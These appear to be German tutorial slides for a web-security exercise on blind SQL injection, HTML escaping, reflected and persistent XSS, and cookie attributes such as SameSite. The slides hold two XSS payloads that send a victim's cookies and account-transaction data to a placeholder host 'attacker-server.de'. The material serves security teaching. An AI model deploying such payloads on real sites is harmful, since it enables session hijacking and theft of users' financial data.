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▶ (6) Blind SQL-Injections
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Aufgabe 1

▶ Angriffs- und Schutzziele
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Was kann eine boese Webseite eigentlich tun?

▶ (a) Skript schickt Inhalt anderer Tabs an eigenen Server
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▶ wird von Browser gewaehrleistet
▶ nicht-sicherheitskritische Daten sind verfuegbar

▶ z.B. Bildschirmgroesse im Browser
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▶ Live Demo
▶ Parameter verstehen
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HTML escaping

char ent. name code

Tab &Tab; &#9;
” &quot; &#34;
& &amp; &#38;
> &gt; &#62;
< &lt; &#60;



Aufgabe 3

▶ reflected vs. persistent XSS
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Aufgabe 3

▶ Fuer welchen Payload vom Parameter ‘name’ koennen wir
Cookies an den Angreifer schicken?



<script>
document.location="http://attacker-server.de/

?cookies=" + document.cookie
</script>



Aufgabe 3

▶ Welche Sicherheitsattribute kann man fuer Cookies setzen?
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▶ Same-Site

▶ None
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▶ Strict
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Aufgabe 3

▶ Mit welchem XSS Payload koennen die Kontoumsaetze einer
Person gestohlen werden?



<script>
document.location="http://attacker-server.de/

?content=" + document.getElementById("amount")
.innerHTML

</script>

▶ evtl. muss amount noch anders kodiert werden mit
encodeURI(amountdata)
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